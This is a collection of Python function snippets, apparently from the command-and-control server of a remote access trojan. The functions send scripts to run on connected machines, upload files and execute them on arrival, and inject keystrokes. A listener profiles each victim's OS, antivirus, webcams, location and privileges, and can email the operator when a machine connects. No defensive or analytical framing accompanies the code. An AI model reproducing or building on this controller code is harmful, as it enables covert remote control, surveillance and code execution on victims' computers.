Example #1
0
def interpreter(message):
    execute = validate_dict_key(message, 'execute')
    script = validate_dict_key(message, 'script')
    quiet = validate_dict_key(message, 'quiet')

    assert execute or script

    if script:
        parent_folder = state['settings']['folders']['parent']
        child_folder = state['settings']['folders']['child'][1]
        message['execute'] = read_file(
            f'{state["root"]}/{parent_folder}/{child_folder}/{script}').decode(
                state['settings']['encoding'])
        del message['script']

    if quiet:
        del message['quiet']

    data = session_message(message, False)
    result = validate_dict_key(data, 'result')

    if result:
        if quiet is None:
            status_message(data['result'], 'pure', {'end': True})
            print()
        make_file(['interpreter'], 'txt',
                  bytes(data['result'], state['settings']['encoding']),
                  data['message'])
    else:
        status_message(data['message'], data['text_mode'])
Example #2
0
def upload(message):
    filename = validate_dict_key(message, 'file', False)
    url = validate_dict_key(message, 'url', False)
    execute_on_upload = validate_dict_key(message, 'execute')

    message['max_file_size'] = state['settings']['max-file-size']

    if execute_on_upload is None:
        message['execute'] = False
    else:
        message['execute'] = True

    if filename:
        root = f'{state["root"]}/{state["settings"]["folders"]["parent"]}/{state["settings"]["folders"]["child"][0]}/{filename}'

        if (os.path.getsize(root) / 1024 / 1024) > message['max_file_size']:
            status_message(
                f'File exceeding maximum size of {message["max_file_size"]}MB',
                'danger')
            return

        message['from_url'], message['file_data'] = False, read_file(root)
    elif url:
        message['file'], message['from_url'], message[
            'file_data'] = url, True, None
        del message['url']
    else:
        raise Exception('Error message')

    session_message(message, loading_text='uploading file...')
Example #3
0
def keystroke(message):
    inject = validate_dict_key(message, 'inject', False)
    script = validate_dict_key(message, 'script', False)

    if inject:
        message['inject'] = inject.strip().split(';')
    elif script:
        parent_folder = state['settings']['folders']['parent']
        child_folder = '{}/{}'.format(state['settings']['folders']['child'][1],
                                      state['settings']['folders']['child'][3])
        message['inject'] = read_file(
            f'{state["root"]}/{parent_folder}/{child_folder}/{script}').decode(
                state['settings']['encoding']).strip().split('\r\n')
        del message['script']
    else:
        raise Exception('Error message')

    session_message(message)
Example #4
0
def alias_parser(data):
    if os.path.isfile(
            f'{state["root"]}/{state["settings"]["folders"]["parent"]}/alias.txt'
    ):
        filesize = os.path.getsize(
            f'{state["root"]}/{state["settings"]["folders"]["parent"]}/alias.txt'
        )

        if filesize != state['settings']['dynamic']['alias-size']:
            state['settings']['dynamic']['alias-data'] = read_file(
                f'{state["root"]}/{state["settings"]["folders"]["parent"]}/alias.txt'
            ).decode(state['settings']['encoding']).strip().split('\n')
            state['settings']['dynamic']['alias-size'] = filesize

        for alias in state['settings']['dynamic']['alias-data']:
            key, value = alias.split('=')
            if data == key:
                return value

    return data
Example #5
0
def listening(host, port, stdout=True):
    try:
        state['sockets']['server'] = socket.socket(socket.AF_INET,
                                                   socket.SOCK_STREAM)
        state['sockets']['server'].bind((host, int(port)))
        state['sockets']['server'].listen()
    except Exception as err:
        write_error(err)
        state['sockets']['server'] = None

        if stdout:
            raise Exception('Socket binding error')
        else:
            sys.exit(0)
    else:
        if stdout:
            status_message(f'Listening on port {port}', 'success', {
                'dots': True,
                'point': 'dot'
            })

    while True:
        try:
            client, addr = state['sockets']['server'].accept()
        except Exception as err:
            write_error(err)
            break

        try:
            send_data(
                client, {
                    'message': 'CsBLDS4n5zPYq7JaxDjxWHK4',
                    'silent': state['options']['mode']['silent'],
                    'io_channels': state['settings']['io-channels']
                }, (state['settings']['encryption'],
                    state['settings']['encoding'],
                    state['settings']['headersize']), {
                        'safe': state['options']['mode']['safe'],
                        'safe_timeout': state['settings']['safe-timeout']
                    })
            data = recv_data(client, (state['settings']['encryption'],
                                      state['settings']['headersize']))
            data.update({'timer': time.time()})

            add_client = True

            if os.path.isfile(
                    f'{state["root"]}/{state["settings"]["folders"]["parent"]}/blacklist.txt'
            ):
                blacklist = read_file(
                    f'{state["root"]}/{state["settings"]["folders"]["parent"]}/blacklist.txt'
                ).decode(state['settings']['encoding']).strip().split('\n')
                for ip in blacklist:
                    try:
                        ip = socket.gethostbyname(ip)
                    except Exception as err:
                        write_error(err)

                    if addr[0] == ip:
                        add_client = False

            if not state['options']['validation']['duplicates']:
                for client_data_obj in state['sockets']['clients'][2]:
                    if data['username'] == client_data_obj['username']:
                        add_client = False

            if len(state['sockets']['clients']
                   [0]) >= state['options']['validation']['max-clients']:
                add_client = False

            if add_client:
                if state['options']['information-gathering']['history']:
                    make_directories([data['username']])
                    with open(
                            f'{state["root"]}/{data["username"]}/history.txt',
                            'a') as f:
                        f.write(
                            f'{data["username"]} connected at {get_timestamp()}\n'
                        )

                data_list = (client, addr, data)

                if state['options']['information-gathering']['whoami']:
                    make_directories([data['username']])
                    with open(f'{state["root"]}/{data["username"]}/whoami.txt',
                              'a') as f:
                        title = f'Whoami at {get_timestamp()}'
                        text = f'Monitors: {data["monitors"]}\nCams: {data["cams"]}\nI/O Channels: {data["io-channels"]}\nUsername@Hostname: {data["username"]}\nAddress: {data["address"]}\nOperating System: {data["os"]}\nAntivirus: {data["antivirus"]}\nLocation: {data["location"]}\nPrivileges: {data["privileges"]}'
                        f.write(f'{title}\n{text}\n{"-" * len(title)}\n')

                for index, item in enumerate(state['sockets']['clients']):
                    item.append(data_list[index])

                if state['options']['notice']['email-notice']:
                    send_email(
                        state['options']['notice']['email-data']['email'],
                        state['options']['notice']['email-data']['password'],
                        state['options']['notice']['email-data']['to'],
                        'Connection Notice!',
                        f'Connection at {get_timestamp()}\nMonitors: {data["monitors"]}\nCams: {data["cams"]}\nI/O Channels: {data["io-channels"]}\nUsername@Hostname: {data["username"]}\nAddress: {data["address"]}\nOperating System: {data["os"]}\nAntivirus: {data["antivirus"]}\nLocation: {data["location"]}\nPrivileges: {data["privileges"]}'
                    )
            else:
                client.close()
        except Exception as err:
            write_error(err)